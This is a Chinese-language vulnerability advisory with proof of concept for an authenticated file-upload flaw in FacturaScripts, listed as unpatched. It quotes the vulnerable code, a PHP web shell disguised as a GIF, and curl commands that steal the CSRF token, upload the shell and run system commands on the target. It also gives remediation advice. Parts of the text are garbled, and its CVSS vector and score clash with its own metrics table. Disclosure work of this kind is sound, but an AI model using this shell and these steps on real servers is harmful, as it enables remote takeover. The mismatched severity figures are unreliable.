
FacturaScripts RCE 漏洞利用 - 概念验证
FacturaScripts 的产品图片上传功能中存在一个已认证的不受限制文件上传漏洞。拥有有效凭据的攻击者可以上传伪装成 GIF 图片(使用 GIF89a 文件头)的 PHP 文件,从而绕过 MIME 类型验证。该文件会以其原始扩展名存储,包括 .php 等可执行扩展名。
该漏洞存在于:
Core/Lib/ExtendedController/ProductImagesTrait.php
具体位于 addImageAction() 方法中。
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php 扩展名保存在 Web 可访问的目录中上传的文件存储在:
/MyFiles/YYYY/MM/X.php
其中 X 是自动递增的 ID。这允许直接远程执行:
http://target/MyFiles/2026/03/2.php?cmd=id
成功利用该漏洞可导致:
攻击者可以向服务器上传具有可执行扩展名(例如 .php)的文件,根据服务器配置的不同,这可能导致进一步的利用。
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSIDcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
基础评分: 6.3(中等)
.php、.phtml、.phar 或其他可执行扩展名结尾的上传,无论 MIME 类型如何getClientOriginalName();分配一个经过验证的扩展名的安全 UUID 名称fileinfo 等库验证实际文件内容(魔数 + 扩展名 + MIME 类型),而不是信任客户端提供的 MIME| 指标 | 值 |
|---|
| 攻击向量 | 网络(AV:N) |
| 攻击复杂度 | 低(AC:L) |
| 所需权限 | 低(PR:L) |
| 用户交互 | 无(UI:N) |
| 影响范围 | 已改变(S:C) |
| 机密性 | 高(C:H) |
| 完整性 | 高(I:H) |
| 可用性 | 高(A:H) |
| 字段 | 值 |
|---|
| 生态系统 | Packagist |
| CVE ID | CVE-2026-42879 |
| 包名称 | facturascripts/facturascripts |
| 受影响版本 | <= 2025.81 |
| 已修补版本 | 尚未修补 |
| 修复版本 | 待定 |